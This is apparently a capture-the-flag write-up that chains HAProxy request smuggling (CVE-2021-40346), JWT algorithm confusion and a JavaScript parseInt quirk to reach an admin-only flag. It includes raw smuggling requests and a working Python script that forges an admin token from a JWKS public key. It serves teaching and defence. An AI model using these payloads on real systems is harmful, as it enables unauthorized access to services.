The Setup

Self-deception is a layered web challenge. An HAProxy frontend sits in front of a Node/Express backend, and the flag lives behind three independent obstacles that all have to fall.

frontend http-in
    bind *:8000
    default_backend servers
    http-request deny if { path_beg /admin }

backend servers
    http-reuse always
    server server1 app:3000 maxconn 32

GET /flag returns the flag only if the account balance >= 10. Raising the balance requires the /admin/charge and /admin/withdraw endpoints, but HAProxy denies any path starting with /admin, and every endpoint requires a valid admin JWT. So there are three problems to solve:

1. Bypass the /admin deny rule at the proxy.
2. Forge an admin JWT.
3. Inflate the balance to >= 10.

Bug 1: HAProxy Request Smuggling (CVE-2021-40346)

The HAProxy version here is vulnerable to CVE-2021-40346, an integer overflow in header-name length handling. A crafted header whose name is long enough to overflow an internal length field makes HAProxy and the backend disagree about where the request ends, which is a classic request-smuggling primitive.

The payload hides a second request inside the body of an allowed one. HAProxy sees a harmless POST /flag; the backend, parsing the smuggled bytes, sees the forbidden GET /admin/... and serves it. The path_beg /admin deny never applies because HAProxy never saw that path.

POST /flag HTTP/1.1
Host: target:8000
Content-Length0aaaaaaaaaaaaaaaaaaa...(long overflow padding)...aaaa:
Content-Length: 150

GET /admin/withdraw?money=0.999999999 HTTP/1.1
Host: target:8000

The malformed Content-Length0aaaa...: header is the overflow trigger; the real Content-Length then frames the smuggled /admin request as the body. http-reuse always in the backend config keeps the connection pooled, which is exactly what makes the desync reachable.

Bug 2: JWT Algorithm Confusion

The signing and verifying code do not agree on the algorithm:

// sign: pins the algorithm to RS256
const signSync = createSigner({ algorithm: 'RS256', key: PRIVATE_KEY });

// verify: no algorithm restriction!
const verifySync = createVerifier({ key: PUBLIC_KEY });

Because verify does not pin an algorithm, it will happily accept an HS256 token. That is the textbook algorithm confusion setup: the RSA public key is public, and if the verifier treats an HS256 token, it will use that public key as the HMAC secret. Since we also know the public key, we can forge a valid HS256 token ourselves.

The public key was sitting at /jwks.json the whole time.

{"keys":[{"kty":"RSA","alg":"RS256","use":"sig","n":"jlaj...","e":"AQAB"}]}

Rebuild the PEM from n and e, then sign a forged {"role":"admin"} payload with HS256 using that PEM as the secret.

import jwt, base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

def b64int(s):
    s = s.replace('-', '+').replace('_', '/')
    s += '=' * (-len(s) % 4)
    return int.from_bytes(base64.b64decode(s), 'big')

pub = rsa.RSAPublicNumbers(e=b64int("AQAB"), n=b64int(N_FROM_JWKS)).public_key()
pem = pub.public_bytes(serialization.Encoding.PEM,
                       serialization.PublicFormat.SubjectPublicKeyInfo).decode()

forged = jwt.encode({"role": "admin"}, pem, algorithm="HS256")
print(forged)

Now every request carries Cookie: jwt=<forged admin token>.

Bug 3: parseFloat / parseInt Balance Manipulation

The balance logic is a JavaScript floating-point trap. Both endpoints require the money to match /^0\.\d+$/, so the input is always 0.something.

// withdraw
tmp = balance - parseFloat(money);
dollar = tmp + "$";
setBalance(parseInt(dollar.split("$")[0]));

// charge
setBalance(balance + parseFloat(money));

Two quirks combine here:

• Subtracting a value extremely close to 1 from a balance of 1 yields a tiny number like 1e-9. When JavaScript stringifies it, you get scientific notation: "9.999999717180685e-10$".
• parseInt("9.999999717180685e-10") reads digits until the first non-digit and stops at the decimal point, returning 9.

So a single withdraw jumps the balance from 1 to 9:

GET /admin/withdraw?money=0.999999999
-> tmp = 9.999999717180685e-10  -> parseInt("9.999...e-10") = 9

Then charge uses parseFloat, and 0.9999999999999999999999999 rounds up to 1.0 in a double, adding one:

GET /admin/charge?money=0.9999999999999999999999999   -> balance = 10

Balance is now 10, clearing the flag threshold. (limitCharge resets the balance after three charges, so the sequence has to stay within that window.)

Chaining It All

The final exploit smuggles the authenticated /admin requests past HAProxy, one after another, each carrying the forged admin cookie, then reads /flag.

POST /flag HTTP/1.1
Host: target
Cookie: jwt=<forged admin token>
Content-Length0aaaaaaaaaaaaaaaaaaa...(overflow)...aaaa:
Content-Length: 400

GET /admin/withdraw?money=0.999999999 HTTP/1.1
Host: target
Cookie: jwt=<forged admin token>

Fire the withdraw (balance -> 9), then the charge (balance -> 10), then request the flag with the same admin token.

DH{REDACTED}

Takeaways

The name fits: every layer here is a system deceiving itself. HAProxy and the backend disagree about request boundaries; the JWT verifier trusts a token in an algorithm the signer never intended; and JavaScript’s own number handling turns 1 - 0.999... into the integer 9.

Individually each bug is well known, but the challenge is a good reminder that real bypasses are usually chains: a proxy ACL is only as strong as the parser behind it, and “the library verifies the signature” means nothing if the verifier doesn’t pin the algorithm.